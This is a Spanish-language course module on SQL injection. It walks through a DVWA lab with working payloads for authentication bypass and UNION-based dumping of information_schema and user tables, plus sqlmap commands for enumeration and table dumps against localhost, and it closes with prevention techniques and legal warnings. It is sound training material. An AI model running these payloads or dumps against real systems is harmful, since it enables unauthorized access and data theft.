Módulo 4 de 10

Módulo 4: Inyección SQL (SQLi)

Módulo 4: Inyección SQL (SQLi)

Aviso legal y ético obligatorio: Todo lo que se describe en este módulo debe practicarse exclusivamente en laboratorios propios o entornos autorizados (DVWA, OWASP Juice Shop, PortSwigger Web Security Academy, máquinas virtuales locales). Acceder, sondear o explotar sistemas sin autorización expresa del propietario es un delito en España tipificado en los artículos 197 bis y siguientes del Código Penal, con penas de hasta cinco años de prisión. El objetivo de este módulo es entender la vulnerabilidad, detectarla en laboratorio y saber cómo corregirla.

Qué aprenderás

  • Qué es la inyección SQL y por qué sigue siendo una de las vulnerabilidades más críticas de la web.
  • Los cuatro tipos principales: in-band (UNION-based y error-based), blind boolean-based, blind time-based y out-of-band.
  • Su posición en el OWASP Top 10:2025 como A05 Injection (en la edición de 2021 era A03).
  • Cómo detectar SQLi manualmente con payloads básicos en DVWA.
  • Cómo realizar un bypass de login y extraer datos con ataques UNION en laboratorio.
  • Cómo automatizar la detección y explotación con sqlmap en entorno controlado.
  • Las contramedidas reales que eliminan esta vulnerabilidad en producción.
  • Cómo identificar SQLi en programas de bug bounty y en certificaciones como OSCP o eJPT.

Qué es la inyección SQL y por qué ocurre

Una inyección SQL (SQLi) se produce cuando una aplicación web incluye datos controlados por el usuario directamente dentro de una consulta SQL sin sanitizarlos ni separarlos del código. La base de datos no puede distinguir entre instrucciones del programador y datos del atacante, por lo que ejecuta ambos como si fueran código legítimo.

El patrón vulnerable más común es la concatenación directa de cadenas:

// PHP vulnerable — NUNCA hagas esto en producción
$id  = $_GET['id'];
$sql = "SELECT * FROM productos WHERE id = '" . $id . "'";

Si el usuario envía el valor 1' OR '1'='1, la consulta resultante es:

SELECT * FROM productos WHERE id = '1' OR '1'='1'

La condición '1'='1' siempre es verdadera, por lo que la base de datos devuelve todas las filas de la tabla, independientemente del identificador buscado. Lo que era una consulta acotada se convierte en un volcado completo.

Las causas raíz son siempre las mismas: confianza ciega en la entrada del usuario, ausencia de consultas parametrizadas y, en muchos casos, un exceso de privilegios en la cuenta de base de datos con la que corre la aplicación.

En la edición vigente del OWASP Top 10:2025 la categoría A05 Injection (que engloba SQL, NoSQL, OS command, LDAP, ORM e inyecciones de expresión) agrupa 37 CWE y es, según OWASP, una de las categorías más probadas y con mayor número de CVE asociados. La CWE-89 (SQL Injection) está incluida en ella y la propia OWASP la describe como de baja frecuencia pero alto impacto, con más de 14 000 CVE acumulados. Cabe señalar el cambio respecto a 2021: la inyección era entonces A03 y en 2025 desciende dos puestos hasta A05, no porque haya dejado de ser crítica, sino por la adopción más amplia de consultas parametrizadas y ORM.

Tipos de inyección SQL

In-band: UNION-based

Es la variante más directa. El atacante aprovecha el operador UNION para adjuntar una segunda consulta SELECT cuyo resultado se muestra en la misma respuesta HTTP que la consulta original. Para que funcione se necesitan dos condiciones técnicas: la subconsulta inyectada debe devolver el mismo número de columnas que la original, y los tipos de datos de cada columna deben ser compatibles. El material de PortSwigger sobre ataques UNION es la referencia más completa en la materia.

In-band: error-based

Cuando la aplicación muestra mensajes de error de la base de datos en la respuesta, el atacante puede usar funciones que generen errores descriptivos para extraer información (nombres de tablas, versión del motor, datos concretos) directamente del texto del error. Es más dependiente del SGBD concreto que UNION-based.

Blind boolean-based

La aplicación no devuelve datos de la consulta ni mensajes de error, pero su comportamiento cambia según si la condición inyectada es verdadera o falsa: puede mostrar distintos contenidos, redirigir a páginas diferentes o modificar el tamaño de la respuesta. El atacante formula preguntas de sí/no e infiere el valor carácter a carácter. Es lenta pero muy fiable. El tutorial de blind SQLi de PortSwigger explica este proceso con laboratorios interactivos.

Blind time-based

Cuando no hay diferencia observable en el contenido de la respuesta, el atacante puede usar funciones de retardo (SLEEP() en MySQL, pg_sleep() en PostgreSQL, WAITFOR DELAY en SQL Server) para inferir información a través del tiempo de respuesta. Si la consulta tarda N segundos en responder, la condición es verdadera; si responde inmediatamente, es falsa. Es más lenta todavía que boolean-based pero funciona incluso cuando la respuesta es idéntica en ambos casos.

Out-of-band (nivel avanzado)

En lugar de leer los datos a través de la respuesta HTTP, el atacante hace que la base de datos los envíe a un servidor externo bajo su control mediante DNS, HTTP u otros protocolos. El DNS suele ser el canal más eficaz porque muchas redes permiten la salida de consultas DNS. Las técnicas dependen del motor: en Oracle son habituales funciones como UTL_HTTP, UTL_INADDR o el truco con extractvalue(xmltype(...)) que provoca una resolución DNS sin necesidad de privilegios elevados; en SQL Server se abusa de xp_dirtree y en MySQL de LOAD_FILE sobre rutas UNC. Requiere que el servidor de base de datos tenga conectividad de salida habilitada, lo que no siempre se cumple. Se trata aquí a alto nivel porque las condiciones de explotación son muy restrictivas; el laboratorio de out-of-band de PortSwigger permite practicarlo de forma segura.

Laboratorio práctico paso a paso

Entorno requerido: DVWA (Damn Vulnerable Web Application) corriendo localmente o en una VM aislada, con el nivel de seguridad establecido en Low. Alternativamente puedes usar los laboratorios interactivos de PortSwigger Web Security Academy.

Paso 1 — Detección manual con comillas y operadores

El primer paso siempre es confirmar que el parámetro es vulnerable antes de intentar cualquier extracción de datos. Navega a la sección SQL Injection de DVWA e introduce en el campo User ID los siguientes valores, uno a uno, observando la respuesta:

1
1'
1''
1 AND 1=1
1 AND 1=2

Cuando introduces 1' y la aplicación devuelve un error de MySQL como You have an error in your SQL syntax..., confirmas dos cosas: el parámetro se inyecta directamente en la consulta y el SGBD es MySQL. Con 1 AND 1=1 la aplicación debería devolver el resultado normal; con 1 AND 1=2, ningún resultado. Esta diferencia de comportamiento confirma la vulnerabilidad.

Paso 2 — Bypass de login con SQLi

DVWA también tiene una sección de login. Un formulario vulnerable construye la consulta así:

SELECT * FROM users WHERE username='$user' AND password='$pass'

Introduciendo en el campo de usuario el payload (fíjate en el espacio tras los dos guiones):

admin'-- -

La consulta resultante queda:

SELECT * FROM users WHERE username='admin'-- -' AND password='cualquier_cosa'

En MySQL/MariaDB el comentario de línea con doble guión exige un espacio (o un carácter de control) justo después: -- . Por eso se escribe -- -, donde el guión final hace de carácter visible tras el espacio obligatorio; sin ese espacio el motor interpreta -- como un operador y el payload falla. Una alternativa que no necesita espacio es el carácter # (admin'#), también válido como comentario de línea en MySQL. Todo lo que va tras el comentario queda anulado: la condición de la contraseña desaparece y la sesión se abre como admin sin conocer la contraseña real.

Paso 3 — Determinar el número de columnas con ORDER BY

Antes de lanzar un ataque UNION es necesario saber cuántas columnas devuelve la consulta original. El método más limpio es usar ORDER BY incrementando el número hasta que la aplicación devuelva un error:

1 ORDER BY 1-- -
1 ORDER BY 2-- -
1 ORDER BY 3-- -

Si ORDER BY 2 funciona y ORDER BY 3 produce error, la consulta devuelve dos columnas. Recuerda el espacio obligatorio tras -- en MySQL: aquí se usa la forma -- -. Un método alternativo, recomendado por PortSwigger, es probar UNION SELECT con valores NULL incrementando su número (1 UNION SELECT NULL-- -, 1 UNION SELECT NULL,NULL-- -, …) hasta que la consulta deje de dar error; NULL es compatible con cualquier tipo de columna y evita errores de conversión.

Paso 4 — Ataque UNION para extraer datos

Con dos columnas confirmadas, comprueba qué columnas son visibles en la pantalla (algunas pueden no renderizarse):

1 UNION SELECT 'col1','col2'-- -

Si ambas cadenas aparecen en la respuesta, las dos columnas son explotables. Ahora extrae información del sistema:

1 UNION SELECT user(),database()-- -

Esto devuelve el usuario de MySQL con el que corre la aplicación y el nombre de la base de datos activa.

Paso 5 — Enumerar bases de datos, tablas y columnas

MySQL (y MariaDB) guardan el esquema completo en la base de datos de sistema information_schema. La enumeración sigue una jerarquía: bases de datos → tablas → columnas → datos.

Listar todas las bases de datos:

1 UNION SELECT schema_name,2 FROM information_schema.schemata-- -

Listar tablas de la base de datos actual (dvwa):

1 UNION SELECT table_name,2 FROM information_schema.tables WHERE table_schema='dvwa'-- -

Listar columnas de la tabla users:

1 UNION SELECT column_name,2 FROM information_schema.columns WHERE table_name='users'-- -

Volcar los datos (usuario y contraseña):

1 UNION SELECT user,password FROM users-- -

Las contraseñas en DVWA están hasheadas en MD5. En un pentest real deberías intentar crackearlas offline con herramientas como john o hashcat, nunca en sistemas de terceros.

Paso 6 — Automatización con sqlmap en laboratorio

sqlmap es la herramienta de referencia para automatizar la detección y explotación de inyecciones SQL. Está disponible en Kali Linux y en la documentación oficial en sqlmap.org y en su wiki de uso en GitHub. Úsala únicamente contra DVWA, Juice Shop u otros labs propios.

Primero necesitas la cookie de sesión de DVWA. Después de hacer login, cópiala desde las DevTools del navegador (pestaña Application → Cookies). El flujo completo es:

1. Detectar la vulnerabilidad:

sqlmap -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" 
       --cookie="PHPSESSID=tu_session_id; security=low" 
       --batch

2. Listar bases de datos (--dbs):

sqlmap -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" 
       --cookie="PHPSESSID=tu_session_id; security=low" 
       --batch 
       --dbs

3. Listar tablas de una base de datos (--tables -D dvwa):

sqlmap -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" 
       --cookie="PHPSESSID=tu_session_id; security=low" 
       --batch 
       -D dvwa --tables

4. Volcar una tabla completa (--dump):

sqlmap -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" 
       --cookie="PHPSESSID=tu_session_id; security=low" 
       --batch 
       -D dvwa -T users --dump

5. Para formularios POST (p. ej. Juice Shop), usa --data:

sqlmap -u "http://localhost:3000/rest/user/login" 
       --data='{"email":"*","password":"test"}' 
       --batch 
       --dbs

Entendiendo --level y --risk

Parámetro Rango Qué controla
--level 1–5 (defecto: 1) Amplía qué parámetros y cabeceras HTTP se prueban y cuántos payloads se lanzan. Los parámetros GET y POST se prueban siempre; la cookie se prueba desde nivel 2; las cabeceras User-Agent y Referer desde nivel 3; y la cabecera Host en nivel 5.
--risk 1–3 (defecto: 1) Controla qué payloads potencialmente peligrosos se incluyen. El nivel 1 es inocuo para la mayoría de puntos de inyección; el nivel 2 añade pruebas de heavy-query time-based; el nivel 3 añade además payloads OR-based, que en una inyección dentro de un UPDATE podrían modificar todas las filas de la tabla. Usar con precaución incluso en lab.

La opción --batch acepta automáticamente la respuesta por defecto de sqlmap en cada pregunta interactiva, útil para automatización. Para pruebas de laboratorio rápidas es suficiente --level 2 --risk 1.

Cómo prevenirlo

La buena noticia es que la inyección SQL es una de las vulnerabilidades más fáciles de eliminar por completo si se siguen las prácticas correctas desde el diseño. La hoja de prevención de SQLi de OWASP recoge las defensas en capas recomendadas.

1. Consultas parametrizadas (prepared statements) — defensa primaria

Es la única defensa que elimina la vulnerabilidad por diseño. Al separar el código SQL de los datos, la base de datos nunca puede confundir un dato con una instrucción, independientemente de lo que envíe el usuario.

PHP con PDO:

// Correcto: consulta parametrizada
$stmt = $pdo->prepare("SELECT * FROM productos WHERE id = :id");
$stmt->bindParam(':id', $id, PDO::PARAM_INT);
$stmt->execute();

Python con psycopg2 (PostgreSQL):

cur.execute("SELECT * FROM productos WHERE id = %s", (id,))

Java con PreparedStatement:

PreparedStatement ps = conn.prepareStatement(
    "SELECT * FROM productos WHERE id = ?"
);
ps.setInt(1, id);

2. Stored procedures seguros

Los procedimientos almacenados son una alternativa válida siempre que estén escritos correctamente con parámetros enlazados internamente. La clave es que el código SQL del procedimiento también debe estar parametrizado: si dentro del procedimiento se construye una cadena dinámica con EXECUTE o EXEC concatenando la entrada del usuario, la vulnerabilidad reaparece. Un procedimiento seguro en MySQL sería:

-- MySQL: stored procedure con parámetro de entrada tipado
DELIMITER //
CREATE PROCEDURE ObtenerProducto(IN p_id INT)
BEGIN
    SELECT * FROM productos WHERE id = p_id;
END //
DELIMITER ;

El parámetro p_id tiene tipo INT, por lo que la base de datos rechaza automáticamente cualquier valor que no sea numérico. El procedimiento se llama desde la aplicación igual que una consulta parametrizada normal.

3. ORM (Object-Relational Mapping)

Frameworks como Eloquent (Laravel), Hibernate (Java), Django ORM o SQLAlchemy (Python) generan consultas parametrizadas de forma transparente. El desarrollador trabaja con objetos y el ORM se encarga de la separación código/datos. Aun así, es importante evitar el uso de funciones raw query del propio ORM con interpolación de cadenas.

4. Mínimo privilegio en la cuenta de base de datos

La cuenta con la que la aplicación conecta a la BD debe tener únicamente los permisos imprescindibles. Si la aplicación solo necesita SELECT, no le des INSERT, UPDATE, DELETE, DROP ni FILE. Así, si un atacante logra inyectar, el daño queda limitado a lo que esa cuenta puede hacer.

5. Validación de entrada con lista blanca (allow-list)

Valida el tipo, longitud y formato esperado de cada parámetro. Un campo que solo debe recibir enteros positivos debe rechazar cualquier otra cosa antes de que llegue a la consulta. La validación con lista blanca es además la defensa recomendada por OWASP para las partes de la consulta que no admiten parámetros de enlace, como los nombres de tabla o columna y la dirección de un ORDER BY: en esos casos, contrasta la entrada del usuario contra un conjunto cerrado de valores permitidos. Esta capa no reemplaza las consultas parametrizadas, pero las complementa donde estas no llegan. Nota: el escapado manual de la entrada (p. ej. mysqli_real_escape_string) está desaconsejado por OWASP como defensa principal por su fragilidad.

6. WAF como capa extra (no como sustituto)

Un WAF (Web Application Firewall) puede bloquear payloads conocidos y ralentizar ataques automatizados, pero no es una solución arquitectónica. Los WAF se pueden evadir y nunca deben ser la única línea de defensa. Úsalos como capa adicional sobre código correctamente parametrizado.

Ejercicio propuesto

  1. Levanta DVWA (la que instalaste en el Módulo 1 con Docker Compose, accesible en http://localhost:4280) y establece el nivel de seguridad en Low.
  2. En la sección SQL Injection, detecta la vulnerabilidad manualmente introduciendo una comilla simple y observa el error.
  3. Determina el número de columnas con ORDER BY.
  4. Realiza un ataque UNION para obtener el usuario de MySQL y la base de datos activa.
  5. Enumera las tablas de la base de datos dvwa y vuelca los registros de la tabla users.
  6. Repite el ejercicio con sqlmap usando --batch --dbs y después -D dvwa -T users --dump.
  7. Cambia el nivel de seguridad a Medium y analiza qué cambia en el comportamiento de la aplicación y qué técnicas ya no funcionan directamente.
  8. Por último, corrige el código: localiza el archivo PHP fuente de DVWA que construye la consulta vulnerable y reescríbelo usando una consulta parametrizada con PDO.

Errores comunes

  • Asumir que el filtrado de comillas es suficiente. Las funciones como mysql_real_escape_string (obsoleta) o el escapado manual solo son efectivos en contextos muy concretos y han sido bypasseados históricamente. Las consultas parametrizadas son el estándar.
  • Parametrizar solo el WHERE y olvidar el ORDER BY. Los identificadores de columna (ORDER BY, GROUP BY, nombres de tabla) no admiten parámetros de enlace en la mayoría de drivers. Si son dinámicos, usa una lista blanca de valores permitidos.
  • Confiar en la validación del lado cliente. Cualquier validación en JavaScript puede saltarse en segundos con las DevTools o Burp Suite. La validación real siempre va en el servidor.
  • Olvidar las consultas de segundo orden. Un dato que se almacena «limpio» en la BD puede inyectarse después si al recuperarlo se concatena directamente en una nueva consulta sin parametrizar.
  • Ejecutar sqlmap con --risk 3 en un lab compartido. Los payloads de riesgo alto pueden modificar o corromper datos incluso en entornos de práctica. Empieza siempre con el mínimo necesario.

Preguntas frecuentes

¿SQLi afecta solo a MySQL?

No. La inyección SQL afecta a cualquier sistema de gestión de bases de datos relacionales: MySQL, MariaDB, PostgreSQL, Microsoft SQL Server, Oracle, SQLite y otros. La sintaxis de algunos payloads varía entre motores (por ejemplo, el comentario de línea en MySQL/MariaDB es -- —con espacio obligatorio tras los guiones— o bien #; en Microsoft SQL Server, PostgreSQL y Oracle es -- sin requisito de espacio, y SQL Server, PostgreSQL y MySQL aceptan además el comentario en bloque /* */), pero el principio de la vulnerabilidad es el mismo en todos. La cheat sheet de SQLi de PortSwigger documenta las diferencias por motor.

¿Para qué sirve sqlmap si ya sé hacer el ataque manualmente?

sqlmap no es solo un atajo. Implementa docenas de técnicas de evasión de WAF, detección automática de parámetros inyectables en formularios y cookies, soporte para autenticación HTTP y gestión de sesiones complejas. En un pentest profesional ahorra horas de trabajo en la fase de enumeración, aunque entender el ataque manual es imprescindible para interpretar sus resultados y para situaciones donde sqlmap no alcanza (APIs no estándar, parámetros JSON anidados, cabeceras personalizadas). Para preparar el OSCP o el eJPT es fundamental dominar ambas aproximaciones.

¿Las consultas parametrizadas son siempre suficientes?

Para los parámetros de valor (lo que va en el WHERE, en los campos de un INSERT, etc.) sí son suficientes y eliminan SQLi por diseño. El único caso donde no aplican directamente son los identificadores dinámicos (nombres de tabla o columna elegidos por el usuario), donde debes usar validación de lista blanca. Combinando prepared statements para valores y lista blanca para identificadores, junto con el principio de mínimo privilegio en la BD, la protección es prácticamente completa. Consulta la guía oficial de OWASP SQL Injection Prevention para ejemplos por lenguaje.

¿Puedo practicar SQLi en sitios públicos si no tengo cuenta de usuario?

No bajo ninguna circunstancia. Probar técnicas de inyección en sistemas que no son tuyos ni tienes autorización expresa y por escrito para auditar es un delito en España (art. 197 bis y ss. del Código Penal) y en la mayoría de jurisdicciones. Usa siempre DVWA, OWASP Juice Shop, los laboratorios de PortSwigger Web Security Academy (gratuitos y legales), o máquinas de plataformas de CTF como HackTheBox o TryHackMe donde el acuerdo de uso ya implica el permiso.

Recordatorio ético y legal

Este módulo forma parte de un programa de formación en ciberseguridad ofensiva con fines defensivos. Las técnicas aquí descritas deben practicarse única y exclusivamente en entornos de laboratorio legales y autorizados. Explotar estas vulnerabilidades en sistemas reales sin permiso expreso y por escrito del propietario constituye un delito en España bajo los artículos 197 bis, 197 ter y concordantes del Código Penal, pudiendo acarrear penas de prisión de hasta cinco años y responsabilidad civil. El conocimiento de estas técnicas te hace mejor profesional de la seguridad: úsalo para proteger, no para atacar.